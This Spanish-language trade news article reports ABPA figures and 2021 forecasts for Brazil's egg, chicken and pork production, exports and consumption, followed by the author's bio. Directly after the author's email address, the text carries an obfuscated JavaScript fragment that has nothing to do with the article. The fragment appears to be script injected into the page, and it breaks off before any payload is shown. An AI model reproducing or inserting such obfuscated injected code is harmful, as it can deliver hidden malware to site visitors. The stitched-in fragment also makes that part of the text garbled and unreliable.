La ABPA presenta sus cifras de 2020 y la previsión de 2021 de aves y cerdos con noticias optimistas, a pesar de la pandemia de COVID-19.
“Este ha sido un año de superación” para la industria de la proteína animal y “de seguir trabajando en medio de la pandemia”, dijo el presidente ejecutivo de la Asociación Brasileña de Proteína Animal (ABPA), Ricardo Santin. Con optimismo hizo la observación de que con la primera vacunación contra el COVID-19 ya en estos días todo parece indicar que se da el primer paso a la normalidad.
Ante la pandemia, Santin recalcó la importancia de no dejar de consumir proteína animal, no solo por la nutrición, sino por la inmunidad. De manera muy acertada comentó que hasta en el hospital te dan “caldo de gallina con huevo” para recuperarte.
Al referirse a la industria avícola y las exportaciones de Brasil, dijo que son “un orgullo” para el país, pues han generado US$141,000 millones en ingresos los últimos 20 años.
Aunque con buenas expectativas para 2021 en cuanto al crecimiento del producto interno bruto (PIB) del 2.8%, con una inflación del 3%, tasas de interés del 3% y un tipo de cambio de BRL5 por dólar estadounidense, los costos de producción han aumentado.
Hoy en día el pollo cuesta un 36.33% más producirlo. El aumento del costo de los insumos lleva a una nueva lista de precios, por lo que la cena de Navidad será más cara.
Aumenta la producción de huevos
En la actualidad, Brasil produce 1,300 huevos por segundo. Con esto, el presidente de la ABPA recalcó que de 2019 a 2020 se espera que la producción haya aumentado un 9.1%, es decir a 53,533 millones de unidades. Con esta cantidad, el consumo aumentó de 230 a 250 unidades per cápita, lo que representa una variación del 8.7%.
En cuanto a las exportaciones, según los datos de la ABPA y la Secretaría de Comercio Exterior de Brasil (Secex), se presentó una disminución del 31.2% al comparar 2019 con 2020. Emiratos Árabes sigue siendo el mayor importador de huevos brasileños con el 44% del volumen, seguido de Argentina y Uruguay, con un 8% cada uno. Mato Grosso es el estado que más exporta, con un 35% del total, seguido de Rio Grande do Sul con el 25%.
Se proyecta que para 2021 aumente en 5% la producción a 56,210 millones de huevos. También se espera que las exportaciones aumenten en un 50% y el consumo suba a 265 unidades per cápita, una cifra que ubicaría a Brasil entre los mayores consumidores de huevo de Latinoamérica.
Fuerte crecimiento en pollo
A pesar de las diferencias entre producir, consumir y exportar, al final del año hay buenas cifras. Se espera que la producción este año aumente entre 3.8% y 4.2%, es decir, entre 13.75 y 13.8 millones de toneladas. Esto significa que el consumo aumentaría un 5% a 45 kg por persona. Con esta cifra, Brasil subiría del cuarto al tercer puesto entre los mayores consumidores per cápita de pollo en Latinoamérica.
En cuanto a las exportaciones, los datos son menos alentadores, pues la variación entre 2019 y 2020 llegará a un máximo de 0.5%, lo que representan unas 4.23 millones de toneladas.
China se convirtió en el mayor importador de pollo brasileño con el 17% de las exportaciones. Este país importó 20% más (de enero a noviembre) al comparar 2019 con 2020. Le siguen Arabia Saudita con el 11% y Japón con el 10%.
Por entidad federativa, el estado de Paraná es el que más exporta, con un 40% del total, seguido de Santa Catarina con el 23%.
La ABPA prevé que se produzca en 2021 un 3.5% más de pollo, entre el 3.3% y el 5.5% más comparado con 2020. También prevén que haya un aumento en las exportaciones del 3.5%, y el consumo per cápita que esté entre 45 y 47 kg, o sea, hasta un 4.4% de aumento, en función de la situación del país y el mundo.
La PPA y la carne de cerdo
En cuanto a la carne de cerdo, se prevé un aumento en la producción de hasta el 8% en 2020, con una producción de alrededor de 4.3 millones de toneladas. El consumo per cápita se mantiene en 15.3 kg por persona.
En cuanto a las exportaciones, Brasil rompió la barrera de 1 millón de toneladas de carne de cerdo embarcadas a otros países, lo que podría representar hasta un 37% más comparado con 2019. China se lleva exactamente la mitad de las exportaciones de carne de cerdo, lo que representó en este 2020 un aumento del 115%. Le sigue de Hong Kong con el 17% de las exportaciones.
Otros países asiáticos, como Singapur y Vietnam, aumentaron en un 54% y 211%, respectivamente, sus importaciones de Brasil, reflejo de la situación con la peste porcina africana (PPA).
La ABPA proyecta producir en 2021 hasta 4.4 millones de toneladas de esta carne, o un 3.5% más con respecto a 2020.
La ABPA sigue adelante
La ABPA ha seguido trabajando en la pandemia en otros aspectos. Por ejemplo, Luis Rua, director de Mercados de la ABPA, informó que en 2020 se han hecho más de 80 habilitaciones de plantas por parte de diferentes países, pero hizo énfasis en la necesidad de acuerdos comerciales para abrir más mercados.
Para la industria avícola y porcina brasileña, Brasil sigue siendo su principal cliente. Es por ello que la ABPA se enfoca en estudiar al consumidor a nivel nacional de pollo, huevos y carne de cerdo. De esta forma, Isis Sardella, gerente de Promoción Comercial y Marketing, habló de la investigación de hábitos del consumidor que están llevando a cabo, en la que estudian, además de lo clásico (zona geográfica, edad y clase social), los hábitos de consumo como consecuencia de la pandemia, hacen un análisis de creencias en mitos y evalúan los principales factores de influencia al momento de compra, del embalaje y de la imagen institucional del sector en el consumo.
En 2021, celebran el SIAVS
Finalmente, la ABPA hizo extensa la invitación a asistir del 3 al 5 de agosto de 2021 al Salón Internacional de la Avicultura y Porcicultura (SIAVS) en Expo Center Norte de São Paulo. El SIAVS es el evento político, técnico y de negocios más importante de estos sectores en Brasil. En 2019 asistieron más de 20,000 visitantes de más de 50 países, con 170 expositores y 1,600 productores.
Benjamín Ruiz es el editor en jefe de la revista especializada Industria Avícola. Es un especialista en nutrición, alimentos balanceados, producción animal y avicultura con más de 20 años de experiencia en la industria. También es traductor (del inglés y portugués al español) enfocado en temas pecuarios, farmacéuticos y médicos.
Ruiz posee una licenciatura en Nutrición y Ciencia de los Alimentos de la Universidad Iberoamericana en México, DF, y una maestría en Nutrición y Producción Animal de Cornell University (Ithaca, NY, EE.UU.). También posee un diplonado en Traducción Inglés-Español de la Universidad Iberoamericana y un diplomado en Terminología de El Colegio de México. También ha tomado múltiples cursos en desarrollo agropecuario, alimentos balanceados, comercialización de grados, administración, mercadotecnia, periodismo, traducción y escritura.
Puede escribirle por correo electrónico: [email protected]. function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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11 de diciembre de 2020